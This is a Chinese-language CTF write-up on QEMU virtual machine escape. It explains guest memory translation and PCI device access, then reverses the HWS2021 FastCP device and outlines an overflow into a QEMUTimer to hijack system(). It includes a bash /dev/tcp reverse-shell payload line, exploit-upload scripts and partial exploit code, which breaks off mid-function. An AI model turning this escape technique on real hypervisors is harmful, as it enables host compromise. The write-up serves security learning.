【技術分享】QEMU逃逸初探(一)
00 前言
在 HWS2021 入營選拔比賽的時候,遇到了一道 QEMU 逃逸的題目,那個時候就直接莽上去分析了一通,東拼西湊的把 EXP 寫了出來。但實際上并沒有怎么理解其具體是怎么實現的,有些操作這樣做背后的原理是什么。而通常我對于比賽過程中學習到的內容,都會通過寫詳細的 Writeup 的這個過程來系統的學習。但是 QEMU 逃逸這部分的內容實在是比較復雜,而且涉及到了很多我完全沒有了解過的知識,所以一直鴿到了現在。
里面的大多數內容和圖片,都是我從看到的博客或者維基百科中整理收集的,具體鏈接可以看下文中的參考資料,非常感謝這些內容的制作者為我們初學者提供了學習的平臺和資料。
01 基礎知識
1.1 QEMU
簡單的來說,QEMU 就是一個開源的模擬器和虛擬機,通過動態的二進制轉換來模擬 CPU。
1.1.1 QEMU 有多種運行的模式
- User mode:用戶模式,在這種模式下,QEMU 運行某個單一的程序,并且適配其的系統調用。通常我們遇到的異構 PWN 題都會使用這種模式,這種模式可以簡單輕便的模擬出其他架構程序的執行過程,使做題人的重心傾斜于分析異構的題目文件上,而不是轉換過程中。
- System mode:系統模式,在這種模式下,QEMU 可以模擬出一個完整的計算機系統。通常我們遇到的 QEMU 逃逸的題目都會使用這種模式,并且把漏洞點以有漏洞的設備的形式出現,通常漏洞會有數組越界、棧溢出、任意調用指針函數、函數重入等漏洞。
- KVM Hosting
- Xen Hosting
1.1.2 QEMU 的內存結構
qemu 使用 mmap 為虛擬機申請出相應大小的內存,當做虛擬機的物理內存,且這部分內存沒有執行權限(PROT_EXEC)
1.1.3 QEMU 的地址翻譯
在 QEMU 中存在兩個轉換層,分別是:
- 從用戶虛擬地址到用戶物理地址:這一層轉換是模擬真實設備中所需要的虛擬地址和物理地址而存在的,所以我們也可以通過分析轉換規則,編寫程序來模擬這一層轉換。
- 從用戶物理地址到 QEMU 的虛擬地址空間:這一層是把用戶的物理地址轉換為 QEMU 上使用 mmap 申請出的地址空間,這部分空間的內容與用戶的物理地址逐一對應,所以我們只需要知道 QEMU 上使用 mmap 申請出的地址空間的初始地址,再加上用戶物理地址,就可以得到此地址對應的在 QEMU 中的虛擬地址。
在 x64 系統上,虛擬地址由 page offset (bits 0-11) 和 page number 組成,/proc/$pid/pagemap 這個文件中儲存著此進程的頁表,讓用戶空間進程可以找出每個虛擬頁面映射到哪個物理幀(需要 CAP_SYS_ADMIN 權限),它包含一個 64 位的值,包含以下的數據。
- Bits 0-54 page frame number (PFN) if present
- Bits 0-4 swap type if swapped
- Bits 5-54 swap offset if swapped
- Bit 55 pte is soft-dirty (see Documentation/vm/soft-dirty.txt)
- Bit 56 page exclusively mapped (since 4.2)
- Bits 57-60 zero
- Bit 61 page is file-page or shared-anon (since 3.5)
- Bit 62 page swapped
- Bit 63 page present
以下程序通過讀取這個文件實現了一個轉換過程
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
int fd;
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
int main()
{
uint8_t *ptr;
uint64_t ptr_mem;
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
ptr = malloc(256);
strcpy(ptr, "Where am I?");
printf("%s\n", ptr);
ptr_mem = gva_to_gpa(ptr);
printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
getchar();
return 0;
}
值得注意的是,在虛擬空間中連續的一段空間,在物理空間中并不一定連續,實際上,這部分的虛擬地址空間會以頁為單位被分隔成多個物理內存碎片。在某些情況下,QEMU 中的虛擬設備對物理內存的復制可能超過一頁(0x1000 字節),這時候復制出物理內存中超過這一頁的內容就與虛擬內存中超過這一頁的內容無法對應。
1.2 PCI 設備地址空間
1.2.1 PCI 配置空間
PCI 設備都有一個 PCI 配置空間來配置 PCI 設備,其中包含了關于 PCI 設備的特定信息。

其中 BAR(BASE Address Registers)用來確定設備所需要使用的內存和 I/O 空間的大小,也可以用來存放設備寄存器的地址。
設備可以申請兩類的地址空間,Memory Space 和 I/O Space,以下會進行介紹。
1.2.2 Memory Space 類型(MMIO)
內存和 I/O 設備共享同一個地址空間。MMIO 是應用得最為廣泛的一種 I/O 方法,它使用相同的地址總線來處理內存和 I/O 設備,I/O 設備的內存和寄存器被映射到與之相關聯的地址。當 CPU 訪問某個內存地址時,它可能是物理內存,也可以是某個 I/O 設備的內存,用于訪問內存的 CPU 指令也可來訪問 I/O 設備。每個 I/O 設備監視 CPU 的地址總線,一旦 CPU 訪問分配給它的地址,它就做出響應,將數據總線連接到需要訪問的設備硬件寄存器。為了容納 I/O 設備,CPU 必須預留給 I/O 一個地址區域,該地址區域不能給物理內存使用。

- Bit 0:Region Type,總是為 0,用于區分此類型為 Memory
- Bits 2-1:Locatable,為 0 時表示采用 32 位地址,為 2 時表示采用 64 位地址,為 1 時表示區間大小小于 1MB
- Bit 3:Prefetchable,為 0 時表示關閉預取,為 1 時表示開啟預取
- Bits 31-4:Base Address,以 16 字節對齊基址

1.2.3 I/O Space 類型(PMIO)
在 PMIO 中,內存和 I/O 設備有各自的地址空間。端口映射 I/O 通常使用一種特殊的 CPU 指令,專門執行 I/O 操作。在 Intel 的微處理器中,使用的指令是 IN 和 OUT。這些指令可以讀/寫 1,2,4 個字節(例如:outb, outw, outl)到 IO 設備上。I/O 設備有一個與內存不同的地址空間,為了實現地址空間的隔離,要么在 CPU 物理接口上增加一個 I/O 引腳,要么增加一條專用的 I/O 總線。由于 I/O 地址空間與內存地址空間是隔離的,所以有時將 PMIO 稱為被隔離的 IO(Isolated I/O)。

- Bit 0:Region Type,總是為 1,用于區分此類型為 I/O
- Bit 1:Reserved
- Bits 31-2:Base Address,以 4 字節對齊基址

1.2.4 PCI 設備配置的地址
設備地址的格式可以參考下圖,這個地址的用處在下文 QEMU 中如何初始化 PCI 設備 處會做出解釋

我們可以通過以下代碼進行計算
0x80000000 | bus << 16 | device << 11 | function << 8 | offset
1.3 QEMU 中 的 PCI 設備
1.3.1 QEMU 中如何初始化 PCI 設備
初始化過程非常復雜,這里只簡單的闡述,以下幾個是初始化過程中的重要函數,但是想要深入的了解這個過程,仍然需要嘗試著對這個過程進行下斷調試。
do_pci_register_device
對設備實例對象進行設置。
- 做一些基礎的檢查,是否存在沖突等,如果檢查不通過則報錯返回
- 調用 pci_config_alloc(pci_dev) 來分配配置空間,PCI 設備為 256B,PCIe 為 4096B
- 調用 pci_config_set_vendor_id / pci_config_set_device_id / pci_config_set_revision / pci_config_set_revision 來初始化設備配置
- 設置 pci_dev->config_read 和 pci_dev->config_write ,如果在類構造函數中設置了則用設置的,否則使用默認函數 pci_default_read_config / pci_default_write_config
pci_register_bar
- 將 BAR 中的 Base Address 設置為全 FF
pci_do_device_reset
- 對設備進行清理和設置
pci_default_read_config
- 讀取 Config,從 cpu->kvm_run 中取出 io 信息
pci_default_write_config
- 設置 Config,且設置的值通過以下變換
其中 wmask 取決于 size ,w1cmask 是保證對應位置為 1
uint64_t wmask = ~(size - 1)
pci_set_long(pci_dev->wmask + addr, wmask & 0xffffffff);
for (i = 0; i < l; val >>= 8, ++i) {
uint8_t wmask = d->wmask[addr + i];
uint8_t w1cmask = d->w1cmask[addr + i];
assert(!(wmask & w1cmask));
d->config[addr + i] = (d->config[addr + i] & ~wmask) | (val & wmask);
d->config[addr + i] &= ~(val & w1cmask); /* W1C: Write 1 to Clear */
}
pci_update_mappings
遍歷設備的 BAR,如果發現 BAR 中已經填寫了不同于 r->addr 的地址,則說明新的地址已經更新,則會更新并重新注冊地址。
1.3.2 配置的讀取和寫入
一般在軟件實現上使用兩種方法:一種是通過 I/O 地址 PCI CONFIG_ADDRESS(0xCF8)和 PCI CONFIG_DATA(0xCFC)的傳統方法,另一種是為 PCIe 創建的內存映射方法。
傳統方法想要寫入配置需要分為兩步
- 通過 CONFIG_ADDRESS(0xCF8 端口) 設置目標設備地址:將要操作的設備寄存器的地址寫入 CONFIG_ADDRESS
- 通過 CONFIG_DATA(0xCFC 端口) 來寫值:將應該寫入的數據放入 CONFIG_DATA 寄存器
由于此過程需要寫入寄存器才能寫入設備的寄存器,因此稱為“間接寫入”。
傳統方法想要讀取配置也需要分為兩步
- 通過 CONFIG_ADDRESS(0xCF8 端口) 設置目標設備地址:將要操作的設備寄存器的地址寫入 CONFIG_ADDRESS
- 通過 CONFIG_DATA(0xCFC 端口) 來讀值
同時我們結合上面說明過的對 I/O 地址的操作方法,在這里我們就可以使用 outb, outw, outl 來對上述端口寫值;用 inb,inw,inl 來讀值。
可以參考以下操作系統中讀取 PCI 設備的配置空間方法
uint16_t pciConfigReadWord (uint8_t bus, uint8_t slot, uint8_t func, uint8_t offset) {
uint32_t address;
uint32_t lbus = (uint32_t)bus;
uint32_t lslot = (uint32_t)slot;
uint32_t lfunc = (uint32_t)func;
uint16_t tmp = 0;
/* create configuration address as per Figure 1 */
address = (uint32_t)((lbus << 16) | (lslot << 11) |
(lfunc << 8) | (offset & 0xfc) | ((uint32_t)0x80000000));
/* write out the address */
outl(0xCF8, address);
/* read in the data */
/* (offset & 2) * 8) = 0 will choose the first word of the 32 bits register */
tmp = (uint16_t)((inl(0xCFC) >> ((offset & 2) * 8)) & 0xffff);
return (tmp);
}
1.3.3 qtest 中的 PCI 設備初始化
如果 QEMU 是使用 qtest 啟動,而不是通過整個系統鏡像,那么這時的 PCI 設備初始的并不完全,我們需要手動調用 qtest 中的指令對設備配置讀寫,來往 BAR 上寫 MMIO 的地址。其中使用的方法是通過 I/O 地址 PCI CONFIG_ADDRESS(0xCF8)和 PCI CONFIG_DATA(0xCFC)來間接寫入。
所以初始化的步驟應該是(以 MMIO 為例):
- 將 MMIO 地址寫入設備的 BAR0 地址
- 將命令寫入設備的 COMMAND 地址,觸發 pci_update_mappings 來重新注冊 BAR0 地址
其中 COMMAND 的命令定義如下:

通常的設置都是選擇 0x103,也就是設置 SERR#Enable,Memory space 和 IO space。如果要正確使用 DMA,則還需要設置 Bit 2 Bus Master,也就是寫入 0x107。
最終需要執行的命令可以參考如下
outl 0xcf8 0x80001010 outl 0xcfc 0xfebc0000 outl 0xcf8 0x80001004 outw 0xcfc 0x107
其中 0x80001000 為設備配置的地址,可以根據上文中 PCI 設備配置的地址 所給出的結構計算得到,0x10 偏移處為 BAR0,0x4 偏移處為 COMMAND。
假設 MMIO 地址選擇的是 0xfebc0000,那么最終 BAR0 基址會被設置為 0xfeb00000,以該地址為基址進行讀寫就能夠觸發 MMIO 函數。
1.3.4 QEMU 中查看 PCI 設備
查看設備的方法可以分為兩種,lspci 命令和 info pci。
lspci 命令
如果 QEMU 直接啟動了一個系統,那么就可以優先考慮使用 lspci 命令列出系統中所有 PCI 總線和設備的詳細信息。
# lspci 00:01.0 Class 0601: 8086:7000 00:04.0 Class 00ff: dead:beef 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 0200: 8086:100e 00:01.1 Class 0101: 8086:7010 00:02.0 Class 0300: 1234:1111
命令開頭的 xx:yy.z 格式對應的是 bus(總線)、device(設備)、function(功能),之后的內容是 Class、Vendor、Device。
有了 bus、device、function 這三個信息我們就能夠通過 /sys/devices/pci0000:00/0000:[tag] 其中的 tag 格式就是 lspci 中第一列所看到的”bus:device:function”。
info pci 命令
這個命令依賴于 QEMU 中的 monitor
首先需要修改 launch.sh,添加 monitor 選項(-monitor telnet:127.0.0.1:4444,server,nowait)
添加后在 QEMU 啟動時就會開啟 4444 端口為 monitor,我們可以使用 nc 或者 telnet 連接 4444 端口對 QEMU 進行管理操作。
連接后輸入 info pci 就可以查看到所有 PCI
wjh@ubuntu:~$ nc 127.0.0.1 4444
QEMU 6.0.93 monitor - type 'help' for more information
(qemu) info pci
info pci
Bus 0, device 0, function 0:
Host bridge: PCI device 8086:1237
PCI subsystem 1af4:1100
id ""
Bus 0, device 1, function 0:
ISA bridge: PCI device 8086:7000
PCI subsystem 1af4:1100
id ""
Bus 0, device 1, function 1:
IDE controller: PCI device 8086:7010
PCI subsystem 1af4:1100
BAR4: I/O at 0xffffffffffffffff [0x000e].
id ""
Bus 0, device 1, function 3:
Bridge: PCI device 8086:7113
PCI subsystem 1af4:1100
IRQ 0, pin A
id ""
Bus 0, device 2, function 0:
Class 0255: PCI device 2021:0815
PCI subsystem 1af4:1100
IRQ 0, pin A
BAR0: 32 bit memory at 0xffffffffffffffff [0x000ffffe].
id ""
如果覺得信息不夠完善,還可以用 info qtree 來輸出樹形結構的完整信息。
(qemu) info qtree
info qtree
bus: main-system-bus
type System
dev: hpet, id ""
gpio-in "" 2
gpio-out "" 1
gpio-out "sysbus-irq" 32
timers = 3 (0x3)
msi = false
hpet-intcap = 4 (0x4)
hpet-offset-saved = true
mmio 00000000fed00000/0000000000000400
dev: ioapic, id ""
gpio-in "" 24
version = 32 (0x20)
mmio 00000000fec00000/0000000000001000
dev: i440FX-pcihost, id ""
pci-hole64-size = 2147483648 (2 GiB)
short_root_bus = 0 (0x0)
x-pci-hole64-fix = true
x-config-reg-migration-enabled = true
bypass-iommu = false
bus: pci.0
type PCI
dev: ctf, id ""
addr = 02.0
romfile = ""
romsize = 4294967295 (0xffffffff)
rombar = 1 (0x1)
multifunction = false
x-pcie-lnksta-dllla = true
x-pcie-extcap-init = true
failover_pair_id = ""
acpi-index = 0 (0x0)
class Class 00ff, addr 00:02.0, pci id 2021:0815 (sub 1af4:1100)
bar 0: mem at 0xffffffffffffffff [0xffffe]
...
dev: i440FX, id ""
addr = 00.0
romfile = ""
romsize = 4294967295 (0xffffffff)
rombar = 1 (0x1)
multifunction = false
x-pcie-lnksta-dllla = true
x-pcie-extcap-init = true
failover_pair_id = ""
acpi-index = 0 (0x0)
class Host bridge, addr 00:00.0, pci id 8086:1237 (sub 1af4:1100)
dev: fw_cfg_io, id ""
dma_enabled = true
x-file-slots = 32 (0x20)
acpi-mr-restore = true
dev: kvmvapic, id ""
1.3.5 QEMU 程序中的 PCI 設備定位
如果我們想要查到某個 QEMU 程序中 PCI 設備所對應的路徑,那么可以通過對照 Class、Vendor、Device 的信息來確定。
例如下圖中我搜索到 QEMU 中的 FastCP 設備

找到此設備的初始化函數(FastCP_class_init),并且設置對應變量的類型為 PCIDeviceClass *

根據其中的 class_id 賦值就可以得知,對應的 Class 應該是 00ff,根據對 vendor_id 賦值可知,對應的 Vendor ID 是 dead 、 Device ID 是 beef(這里由于程序的優化,把結構中兩個連續的二字節的變量優化成一次賦值)
對照著 lspci 的結果,我們就可以得知 FastCP 對應的 PCI 設備條目是
00:04.0 Class 00ff: dead:beef
得知其條目后我們可以訪問該目錄(/sys/devices/pci0000:00/0000:00:04.0/)中對應的文件資源來得到我們需要的數據
- resource 文件:此文件包含其相應空間的數據,resource0 對應 MMIO 空間,resource1 對應 PMIO 空間,這個文件可以便于我們在用戶空間編程訪問,在 1.3.6 QEMU 中訪問 PCI 設備的 I/O 空間 中還會提及。
- config 文件:此文件包含著該設備的配置文件信息,結合之前的配置空間格式可以快速的看到開頭的 dead 和 beef 分別對應著 vendor 和 device,這和之前用 lspci 看到的內容一致。
# hexdump /sys/devices/pci0000\:00/0000\:00\:04.0/config 0000000 dead beef 0103 0010 0001 00ff 0000 0000 0000010 0000 fea0 0000 0000 0000 0000 0000 0000 0000020 0000 0000 0000 0000 0000 0000 1af4 1100 0000030 0000 0000 0040 0000 0000 0000 010b 0000 0000040 0005 0080 0000 0000 0000 0000 0000 0000 0000050 0000 0000 0000 0000 0000 0000 0000 0000
1.3.6 QEMU 中訪問 PCI 設備的 MMIO 空間
在用戶態訪問 mmio 空間
通過映射 resource0 文件來實現,函數中的參數類型選擇 uint32_t 還是 uint64_t 可以根據設備代碼中限制的要求來確定,示例代碼如下:
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem @ %p\n", mmio_mem);
mmio_read(0x128);
mmio_write(0x128, 1337);
}
在內核態中訪問 mmio 空間
示例代碼如下:
#include <asm/io.h> #include <linux/ioport.h> long addr=ioremap(ioaddr,iomemsize); readb(addr); readw(addr); readl(addr); readq(addr);//qwords=8 btyes writeb(val,addr); writew(val,addr); writel(val,addr); writeq(val,addr); iounmap(addr);
1.3.7 QEMU 中訪問 PCI 設備的 PMIO 空間
根據上文所說,直接通過 in 和 out 指令就可以訪問 I/O memory(outb/inb, outw/inw, outl/inl)
但是使用這些函數的前提是要讓程序有訪問端口的權限:
- 在 0x000-0x3ff 之間的端口,可以使用 ioperm(from, num, turn_on)
- 對于 0x3ff 以上的端口,可以使用 iopl(3),使程序可以訪問所有端口
示例代碼:
#include <sys/io.h>
uint32_t pmio_base = 0xc050;
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}
uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");
pmio_write(pmio_base+0,0);
pmio_write(pmio_base+4,1);
}
代碼中的 pmio_base 的位置可以通過查看設備的 BAR 內容來確定
在內核態訪問 PMIO 操作是和用戶態類似的,區別在于內核態不用申請權限、頭文件需要使用以下兩個。
#include <asm/io.h> #include <linux/ioport.h>
1.4 調試
調試
使用 gdb 附加調試運行中的 QEMU 并加載二進制文件中的符號,執行如下代碼:
sudo gdb ./qemu-system-x86_64 attach 相應的進程號
進程號使用 ps -aux 可以看到
1.5 執行 EXP
執行 EXP 需要區分為兩種情況,分別是本地執行和遠程執行。
1.5.1 本地執行
這里推薦使用重新打包的方法,這種方法可以無視系統的具體環境限制
為了方便打包,我這里寫了一個腳本
uncpio
#!/bin/bash set -e cp $1 /tmp/core.gz unar /tmp/core.gz -o /tmp/
使用方式:uncpio xxx.cpio
腳本會執行:解壓參數 1 中指定的 cpio 文件到 /tmp/core 目錄
encpio
#!/bin/sh set -e musl-gcc -static -O2 $1 -o /tmp/core/bin/EXP cd /tmp/core/ find . -print0 | cpio --null -ov --format=newc > /tmp/new.cpio cd - cp /tmp/new.cpio ./new.cpio
使用方式:encpio exp.c
腳本會執行:把參數 1 中指定的 exp.c 使用 musl-gcc 編譯,然后放入 uncpio 解包出的文件(在/tmp/core )中,對其重新打包后,再把文件復制到執行目錄下的 new.cpio 文件中。
修改 launch.sh 文件把加載文件替換為 new.cpio ,進入系統后執行 /bin/EXP 即可執行 EXP 代碼。
1.5.2 遠程執行
遠程執行需要考慮的就是如何上傳 EXP,這里提供兩種方式,適用于不同的環境(如果是普通用戶權限,修改代碼中的 cmd 為 “$ “)
上傳腳本 1(一次性發送全部數據)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os
# context.log_level = 'debug'
cmd = '# '
def exploit(r):
r.sendlineafter(cmd, 'stty -echo')
os.system('musl-gcc -static -O2 ./poc/exp.c -o ./poc/exp')
os.system('gzip -c ./poc/exp > ./poc/exp.gz')
r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
r.sendline((read('./poc/exp.gz')).encode('base64'))
r.sendline('EOF')
r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
r.sendlineafter(cmd, 'gunzip ./exp.gz')
r.sendlineafter(cmd, 'chmod +x ./exp')
r.sendlineafter(cmd, './exp')
r.interactive()
# p = process('./startvm.sh', shell=True)
p = remote('nc.eonew.cn',10100)
exploit(p)
上傳腳本 2(分段傳輸)
#coding:utf8
from pwn import *
import base64
context.log_level = 'debug'
os.system("musl-gcc 1.c -o exp --static")
sh = remote('127.0.0.1',5555)
f = open('./exp','rb')
content = f.read()
total = len(content)
f.close()
per_length = 0x200;
sh.sendlineafter('# ','touch /tmp/exploit')
for i in range(0,total,per_length):
bstr = base64.b64encode(content[i:i+per_length])
sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
if total - i > 0:
bstr = base64.b64encode(content[total-i:total])
sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
sh.sendlineafter('# ','chmod +x /tmp/exploit')
sh.sendlineafter('# ','/tmp/exploit')
sh.interactive()
02 QEMU 逃逸題目實戰
這里以我第一個在比賽中做出的 QEMU 逃逸題:”HWS2021 FastCP” 為例。
2.1 定位設備
我們首先查看啟動命令
#!/bin/sh ./qemu-system-x86_64 -initrd ./initramfs-busybox-x64.cpio.gz -nographic -kernel ./vmlinuz-5.0.5-generic -append "priority=low console=ttyS0" -monitor /dev/null --device FastCP
在啟動命令的提示下,很容易就能在 qemu-system-x86_64 里面找到 FastCP 設備的具體實現,我們使用 IDA Pro 載入文件,等待加載完畢后,在右側函數列表搜索 FastCP。

根據上文所說的,我們首先需要定位到 FastCP_class_init 來確定 vendor_id 和 device_id,并且通過這兩個值來確定 lspci 的結果。
這里我們修改 v3 設備的類型為 PCIDeviceClass,再根據賦值來確定設備

執行 launch.sh,啟動 QEMU 程序,啟動后登陸 root 賬號,并執行 lspci
# lspci 00:01.0 Class 0601: 8086:7000 00:04.0 Class 00ff: dead:beef 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 0200: 8086:100e 00:01.1 Class 0101: 8086:7010 00:02.0 Class 0300: 1234:1111
確定內容為 00:04.0 這一行設備,嘗試訪問其對應的資源
# ls /sys/devices/pci0000\:00/0000\:00\:04.0/ ari_enabled firmware_node resource broken_parity_status irq resource0 class local_cpulist revision config local_cpus subsystem consistent_dma_mask_bits modalias subsystem_device d3cold_allowed msi_bus subsystem_vendor device numa_node uevent dma_mask_bits power vendor driver_override remove enable rescan
我們可以看到其存在 resource0,這意味設備存在 mmio 空間,并且不存在 resource1,這意味著設備不存在 pmio 空間。這一點與我們之前在 IDA 中搜索得到的函數列表是吻合的。
2.2 QEMU 設備逆向
2.2.1 初始化函數
確定了設備位置后,我們接下來就是看設備對象初始化函數 FastCP_instance_init,為了方便觀看,首先我們要還原變量類型。而變量類型實際上是儲存在符號中的,我們可以通過 Shift + F1 打開 Local Types 窗口查看。

通過搜索可以定位到相關的三個類型信息,可以知道類型信息是存在的,只是 IDA 的偽代碼沒能夠自動還原,我們可以通過按下 Tab 定位到匯編代碼中給出的類型來還原。

根據圖中的類型提示,分別設置參數類型為 Object_0 ,變量類型為 FastCPState ,得到的偽代碼如下:

就可以很清楚的看到這個函數做了各種各樣的初始化操作,之后的函數也用這種方法來還原類型信息,之后就不再贅述。
2.2.2 MMIO READ
知道初始化的內容后,我們就要在 mmio 操作中尋找對應的漏洞,我們首先來看 fastcp_mmio_read 函數。

這個函數用于返回幾個操作值,操作值具體的意義可以根據名稱大概猜出。同時需要特別注意的是這里限制的 size 的大小,size 的大小不為 8 則會直接返回 -1,這意味著我們在調用 mmio_read 操作的時候需要使用的類型是 uint64_t。
操作列表如下
地址
操作
0x8 讀取 cp_state.CP_list_src 0x10 讀取 cp_state.CP_list_cnt 0x18 讀取 cp_state.cmd |
這個函數內容較少,邏輯清晰可見,暫時未能看出漏洞。
2.2.3 MMIO WRITE

在 QEMU 逃逸的題目中,主要的漏洞位置都是在 MMIO WRITE 中,所以我們需要特別關注。
操作列表如下
地址
操作
0x8 設置 cp_state.CP_list_src 0x10 設置 cp_state.CP_list_cnt 0x18 設置 cp_state.cmd 并觸發 Timer |
通過操作可以了解到,關鍵的函數還是在時鐘函數中,而且通過 cp_state.cmd 來傳參
2.2.4 CP TIMER
此函數通過 Timer 來調用,并且通過 MMIO WRITE 設置

操作列表如下
命令
操作
1 當 CP_list_cnt 大于 0x10 的時候:<br />依次遍歷 CP_list_src,每個結構的 CP_cnt 作為長度,把 CP_src 先復制到 CP_buffer,再從 CP_buffer 復制到 CP_dst(相當于從 CP_src 到 CP_dst)。<br />當 CP_list_cnt 不大于 0x10 的時候:<br />做無意義的操作 2 CP_cnt 作為長度(最大 0x1000 字節),從 CP_src 讀取內容寫到 CP_buffer 中 4 CP_cnt 作為長度(最大 0x1000 字節),從 CP_buffer 寫出到 CP_dst 中 |
以上操作在操作前會設置 handling 為 1,操作結束后設置 handling = 0 和 cmd = 0。
漏洞還是比較明顯的,在命令為 1 且 CP_list_cnt 大于 0x10 的時候,復制前沒有檢測 CP_cnt 是否會大于 0x1000 字節,而在 FastCPState 的結構中(結構如下)
00000000 FastCPState struc ; (sizeof=0x1A30, align=0x10, copyof_4530) 00000000 ; XREF: pci_FastCP_uninit+23/o 00000000 ; pci_FastCP_realize+59/o ... 00000000 pdev PCIDevice_0 ? ; XREF: pci_FastCP_realize+9A/r 000008F0 mmio MemoryRegion_0 ? ; XREF: pci_FastCP_realize+77/r 000008F0 ; pci_FastCP_realize+9D/o ... 000009E0 cp_state CP_state ? ; XREF: FastCP_instance_init+57/r 000009E0 ; FastCP_instance_init+62/r ... 000009F8 handling db ? ; XREF: FastCP_instance_init+78/w 000009F8 ; fastcp_mmio_read+55/r ... 000009F9 db ? ; undefined 000009FA db ? ; undefined 000009FB db ? ; undefined 000009FC irq_status dd ? ; XREF: pci_FastCP_realize+B4/w 00000A00 CP_buffer db 4096 dup(?) ; XREF: FastCP_instance_init+23/r 00000A00 ; FastCP_instance_init+2A/r ... 00001A00 cp_timer QEMUTimer_0 ? ; XREF: pci_FastCP_uninit+23/o 00001A00 ; pci_FastCP_realize+59/o ... 00001A30 FastCPState ends
CP_buffer 最大只有 0x1000 字節,在復制的中間過程中,如果設置 CP_cnt 為一個大于 0x1000 的值,就可以溢出到 cp_timer。同時如果我們利用這個功能,也可以讀取到 cp_timer 上的內容。
2.3 利用
cp_timer 的結構(QEMUTimer):
00000000 QEMUTimer struc ; (sizeof=0x30, align=0x8, copyof_1182) 00000000 ; XREF: FastCPState/r 00000000 expire_time dq ? 00000008 timer_list dq ? ; offset 00000010 cb dq ? ; offset 00000018 opaque dq ? ; offset 00000020 next dq ? ; offset 00000028 attributes dd ? 0000002C scale dd ? 00000030 QEMUTimer ends
想用成功利用,需要分成兩步:
- 通過溢出的讀取,泄露 cp_timer 結構體,其中存在 PIE 基址(計算出 system@plt 的地址)和堆地址(整個結構的位置在堆上,計算出結構的開始位置,才能得到我們寫入 system 參數的位置)。
- 通過溢出的寫入,覆蓋 cp_timer 結構體控制程序執行流
觸發時鐘可以利用兩種方式:
- 虛擬機重啟或關機的時候會觸發時鐘,調用 cb(opaque)
- 在 MMOI WRITE 中可以觸發時鐘
system 執行內容:
- cat /flag
- 反彈 shell,/bin/bash -c ‘bash -i >& /dev/tcp/ip/port 0>&1’,在 QEMU 逃逸中,執行 system(“/bin/bash”) 是無法拿到 shell 的,或者說是無法與 shell 內容交互的,必須使用反彈 shell 的形式才能夠拿到 shell。
- 彈出計算器,gnome-calculator,這個大概比較適合用于做演示視頻吧。
注意:所有在設備中的操作地址都是指 QEMU 模擬的物理地址,但是程序中使用 mmap 申請的是虛擬地址空間。所以要注意使用 mmap 申請出來的超過一頁的部分,在物理空間上不連續。如果需要操作那塊空間,需要使用那一頁的虛擬地址重新計算對應的物理地址。這個性質在這道題中(超過 0x1000 的物理地址復制),需要額外的注意。
2.4 EXP
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/io.h>
#include <unistd.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
char* userbuf;
uint64_t phy_userbuf, phy_userbuf2;
unsigned char* mmio_mem;
struct FastCP_CP_INFO
{
uint64_t CP_src;
uint64_t CP_cnt;
uint64_t CP_dst;
};
struct QEMUTimer
{
int64_t expire_time;
int64_t timer_list;
int64_t cb;
void* opaque;
int64_t next;
int attributes;
int scale;
char shell[0x50];
};
void die(const char* msg)
{
perror(msg);
exit(-1);
}
uint64_t page_offset(uint64_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void* addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0)
{
die("open pagemap");
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
